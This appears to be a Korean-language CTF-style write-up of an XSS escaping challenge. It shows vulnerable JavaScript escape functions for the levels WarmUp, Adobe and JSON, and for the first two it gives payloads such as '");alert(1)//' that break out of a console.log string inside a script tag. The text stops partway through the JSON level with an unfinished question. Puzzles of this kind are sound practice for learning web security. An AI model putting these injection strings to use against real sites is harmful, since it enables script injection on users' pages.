WarmUp
The code below generates HTML in an unsafe way. Prove it by calling alert(1).
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}간단한 함수이다. script 태그로 console.log를 찍어주는 함수이다.
Payload
첫번째로 console.log를 탈출한다.
그리고 alert구문을 삽입하면 될것 같다.
Input : ");alert(1)//
Output : <script>console.log("");alert(1)//");</script>이게 주석을 써도 는 유지되나 보다.
Adobe
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}" 쌍따옴표를 \" 로 바꿔주는 함수이다.
이번에도 console.log를 탈출하고 alert(1)을 호출하면 되는 문제이다.
Payload
Input : \");alert(1)//
Output : <script>console.log("\\");alert(1)//");</script>"을 씀으로써 console.log를 탈출하고 alert(1) 이후에 주석을 통해 뒤의 구문을 날린다.
JSON
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}JSON.stringify() 함수의 역할이 JSON 을 자바스크립트 문자열 객체로 변경해주는 역할이라고한다. JSON값을 JavaScript 문자열 객체로 만든다는것이다. 그렇다면...을 넣으면 input태그가 생성되는걸까?